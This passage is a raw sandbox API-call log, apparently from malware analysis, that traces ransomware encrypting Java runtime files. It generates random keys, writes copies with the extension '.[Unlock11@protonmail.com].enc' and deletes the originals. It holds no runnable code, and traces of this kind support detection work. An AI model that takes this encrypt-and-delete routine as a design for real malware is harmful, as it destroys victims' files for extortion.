0x9b0 [0130.549] GetLastError () returned 0x0 [0130.549] GetCurrentThreadId () returned 0x9b0 [0130.549] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c59d8 [0130.549] GetCurrentThreadId () returned 0x9b0 [0130.549] GetLastError () returned 0x0 [0130.549] GetCurrentThreadId () returned 0x9b0 [0130.549] GetLastError () returned 0x0 [0130.549] GetCurrentThreadId () returned 0x9b0 [0130.549] GetLastError () returned 0x0 [0130.550] GetCurrentThreadId () returned 0x9b0 [0130.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0130.550] GetCurrentThreadId () returned 0x9b0 [0130.551] GetLastError () returned 0x0 [0130.551] GetCurrentThreadId () returned 0x9b0 [0130.551] GetLastError () returned 0x0 [0130.551] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78)) returned 1 [0130.551] GetLastError () returned 0x0 [0130.551] GetCurrentThreadId () returned 0x9b0 [0130.551] GetLastError () returned 0x0 [0130.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bb74 | out: pbBuffer=0x366bb74) returned 1 [0130.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0130.551] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0130.552] GetCurrentThreadId () returned 0x9b0 [0130.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5938 [0130.552] GetCurrentThreadId () returned 0x9b0 [0130.552] GetLastError () returned 0x0 [0130.552] GetCurrentThreadId () returned 0x9b0 [0130.552] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5dc0 [0130.552] GetCurrentThreadId () returned 0x9b0 [0130.553] GetLastError () returned 0x0 [0130.554] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.554] GetFileType (hFile=0x39c) returned 0x1 [0130.554] GetCurrentThreadId () returned 0x9b0 [0130.554] GetLastError () returned 0x0 [0130.554] GetFileType (hFile=0x39c) returned 0x1 [0130.554] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.554] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.554] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.555] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.555] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.555] GetLastError () returned 0x0 [0130.555] GetCurrentThreadId () returned 0x9b0 [0130.555] GetLastError () returned 0x0 [0130.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0130.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887608 | out: hHeap=0x2ad0000) returned 1 [0130.555] GetLastError () returned 0x0 [0130.555] GetLastError () returned 0x0 [0130.555] GetLastError () returned 0x0 [0130.599] GetLastError () returned 0x0 [0130.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.599] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265438 [0130.599] GetLastError () returned 0x0 [0130.599] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.600] GetFileType (hFile=0x3ac) returned 0x1 [0130.600] GetLastError () returned 0x0 [0130.600] GetCurrentThreadId () returned 0x9b0 [0130.600] GetLastError () returned 0x0 [0130.600] GetFileType (hFile=0x3ac) returned 0x1 [0130.600] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.600] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.600] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.600] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.600] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.601] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.601] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.601] GetLastError () returned 0x0 [0130.601] GetCurrentThreadId () returned 0x9b0 [0130.601] GetLastError () returned 0x0 [0130.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0130.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0130.601] GetCurrentThreadId () returned 0x9b0 [0130.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0130.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0130.601] GetLastError () returned 0x0 [0130.601] GetLastError () returned 0x0 [0130.602] GetCurrentThreadId () returned 0x9b0 [0130.602] GetLastError () returned 0x0 [0130.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.602] GetLastError () returned 0x0 [0130.602] GetLastError () returned 0x0 [0130.602] GetCurrentThreadId () returned 0x9b0 [0130.602] GetLastError () returned 0x0 [0130.602] GetLastError () returned 0x0 [0130.634] GetLastError () returned 0x0 [0130.634] GetCurrentThreadId () returned 0x9b0 [0130.634] GetLastError () returned 0x0 [0130.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.635] GetLastError () returned 0x0 [0130.635] GetLastError () returned 0x0 [0130.635] GetLastError () returned 0x0 [0130.636] GetLastError () returned 0x0 [0130.636] GetCurrentThreadId () returned 0x9b0 [0130.637] GetCurrentThreadId () returned 0x9b0 [0130.638] GetCurrentThreadId () returned 0x9b0 [0130.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.639] GetCurrentThreadId () returned 0x9b0 [0130.639] GetCurrentThreadId () returned 0x9b0 [0130.640] GetCurrentThreadId () returned 0x9b0 [0130.640] GetCurrentThreadId () returned 0x9b0 [0130.640] GetCurrentThreadId () returned 0x9b0 [0130.641] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xde95) returned 0x36f8548 [0130.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265438 [0130.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xde98) returned 0x37bf790 [0130.641] GetCurrentThreadId () returned 0x9b0 [0130.642] GetCurrentThreadId () returned 0x9b0 [0130.642] GetCurrentThreadId () returned 0x9b0 [0130.642] CloseHandle (hObject=0x3ac) returned 1 [0130.642] GetCurrentThreadId () returned 0x9b0 [0130.643] GetCurrentThreadId () returned 0x9b0 [0130.643] CloseHandle (hObject=0x39c) returned 1 [0130.643] GetCurrentThreadId () returned 0x9b0 [0130.643] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0130.645] GetCurrentThreadId () returned 0x9b0 [0130.645] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", lpFilePart=0x9bada4*="cldrdata.jar") returned 0x37 [0130.645] GetCurrentThreadId () returned 0x9b0 [0130.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0130.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0130.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5938 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5938 | out: hHeap=0x2ad0000) returned 1 [0130.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5d70 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.647] GetCurrentThreadId () returned 0x9b0 [0130.648] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816)) returned 1 [0130.648] GetCurrentThreadId () returned 0x9b0 [0130.648] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bebc | out: pbBuffer=0x366bebc) returned 1 [0130.648] GetCurrentThreadId () returned 0x9b0 [0130.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0130.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0130.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0130.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5cf8 [0130.648] GetCurrentThreadId () returned 0x9b0 [0130.649] GetCurrentThreadId () returned 0x9b0 [0130.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5a78 [0130.649] GetCurrentThreadId () returned 0x9b0 [0130.649] GetCurrentThreadId () returned 0x9b0 [0130.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32653d8 [0130.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0130.649] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.649] GetFileType (hFile=0x39c) returned 0x1 [0130.650] GetCurrentThreadId () returned 0x9b0 [0130.650] GetFileType (hFile=0x39c) returned 0x1 [0130.650] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.650] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.650] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.650] GetLastError () returned 0x0 [0130.650] GetCurrentThreadId () returned 0x9b0 [0130.650] GetLastError () returned 0x0 [0130.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0130.651] GetLastError () returned 0x0 [0130.651] GetLastError () returned 0x0 [0130.651] GetLastError () returned 0x0 [0130.651] GetLastError () returned 0x0 [0130.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0130.651] GetLastError () returned 0x0 [0130.651] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.652] GetFileType (hFile=0x3ac) returned 0x1 [0130.652] GetLastError () returned 0x0 [0130.652] GetCurrentThreadId () returned 0x9b0 [0130.652] GetLastError () returned 0x0 [0130.652] GetFileType (hFile=0x3ac) returned 0x1 [0130.652] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.653] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.653] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.653] GetLastError () returned 0x0 [0130.653] GetCurrentThreadId () returned 0x9b0 [0130.653] GetLastError () returned 0x0 [0130.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0130.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.653] GetLastError () returned 0x0 [0130.653] GetLastError () returned 0x0 [0130.653] GetCurrentThreadId () returned 0x9b0 [0130.654] GetLastError () returned 0x0 [0130.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0130.654] GetLastError () returned 0x0 [0130.654] GetLastError () returned 0x0 [0130.654] GetCurrentThreadId () returned 0x9b0 [0130.654] GetLastError () returned 0x0 [0130.654] GetLastError () returned 0x0 [0130.656] GetLastError () returned 0x0 [0130.656] GetCurrentThreadId () returned 0x9b0 [0130.657] GetLastError () returned 0x0 [0130.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.657] GetCurrentThreadId () returned 0x9b0 [0130.657] GetLastError () returned 0x0 [0130.657] GetLastError () returned 0x0 [0130.657] GetLastError () returned 0x0 [0130.657] GetLastError () returned 0x0 [0130.658] GetCurrentThreadId () returned 0x9b0 [0130.658] GetLastError () returned 0x0 [0130.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.658] GetLastError () returned 0x0 [0130.660] GetLastError () returned 0x0 [0130.660] GetCurrentThreadId () returned 0x9b0 [0130.660] GetLastError () returned 0x0 [0130.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.660] GetLastError () returned 0x0 [0130.661] GetLastError () returned 0x0 [0130.661] GetCurrentThreadId () returned 0x9b0 [0130.661] GetLastError () returned 0x0 [0130.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.665] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.666] GetLastError () returned 0x0 [0130.666] GetLastError () returned 0x0 [0130.666] GetLastError () returned 0x0 [0130.666] GetLastError () returned 0x0 [0130.666] GetCurrentThreadId () returned 0x9b0 [0130.666] GetLastError () returned 0x0 [0130.666] GetCurrentThreadId () returned 0x9b0 [0130.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0130.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0130.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.667] GetLastError () returned 0x0 [0130.668] GetLastError () returned 0x0 [0130.668] GetCurrentThreadId () returned 0x9b0 [0130.668] GetLastError () returned 0x0 [0130.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.668] GetLastError () returned 0x0 [0130.669] GetLastError () returned 0x0 [0130.669] GetCurrentThreadId () returned 0x9b0 [0130.669] GetLastError () returned 0x0 [0130.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.671] GetLastError () returned 0x0 [0130.671] GetLastError () returned 0x0 [0130.671] GetLastError () returned 0x0 [0130.671] GetLastError () returned 0x0 [0130.671] GetCurrentThreadId () returned 0x9b0 [0130.671] GetLastError () returned 0x0 [0130.671] GetCurrentThreadId () returned 0x9b0 [0130.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.672] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0130.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.672] GetLastError () returned 0x0 [0130.673] GetLastError () returned 0x0 [0130.673] GetCurrentThreadId () returned 0x9b0 [0130.673] GetLastError () returned 0x0 [0130.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.673] GetLastError () returned 0x0 [0130.674] GetLastError () returned 0x0 [0130.674] GetCurrentThreadId () returned 0x9b0 [0130.675] GetLastError () returned 0x0 [0130.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.675] GetLastError () returned 0x0 [0130.675] GetLastError () returned 0x0 [0130.675] GetLastError () returned 0x0 [0130.676] GetLastError () returned 0x0 [0130.676] GetCurrentThreadId () returned 0x9b0 [0130.676] GetLastError () returned 0x0 [0130.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.676] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.676] GetLastError () returned 0x0 [0130.677] GetLastError () returned 0x0 [0130.677] GetCurrentThreadId () returned 0x9b0 [0130.677] GetLastError () returned 0x0 [0130.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0130.678] GetLastError () returned 0x0 [0130.678] GetLastError () returned 0x0 [0130.679] GetCurrentThreadId () returned 0x9b0 [0130.679] GetLastError () returned 0x0 [0130.680] GetCurrentThreadId () returned 0x9b0 [0130.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ab8 [0130.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0130.680] GetLastError () returned 0x0 [0130.680] GetLastError () returned 0x0 [0130.680] GetLastError () returned 0x0 [0130.681] GetLastError () returned 0x0 [0130.681] GetCurrentThreadId () returned 0x9b0 [0130.681] GetLastError () returned 0x0 [0130.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0130.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0130.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0130.681] GetLastError () returned 0x0 [0130.683] GetLastError () returned 0x0 [0130.683] GetCurrentThreadId () returned 0x9b0 [0130.683] GetLastError () returned 0x0 [0130.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0130.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0130.683] GetLastError () returned 0x0 [0130.683] GetLastError () returned 0x0 [0130.684] GetCurrentThreadId () returned 0x9b0 [0130.684] GetLastError () returned 0x0 [0130.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.685] GetCurrentThreadId () returned 0x9b0 [0130.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0130.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0130.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0130.685] GetLastError () returned 0x0 [0130.685] GetLastError () returned 0x0 [0130.685] GetLastError () returned 0x0 [0130.686] GetLastError () returned 0x0 [0130.686] GetCurrentThreadId () returned 0x9b0 [0130.686] GetLastError () returned 0x0 [0130.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0130.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.686] GetLastError () returned 0x0 [0130.687] GetLastError () returned 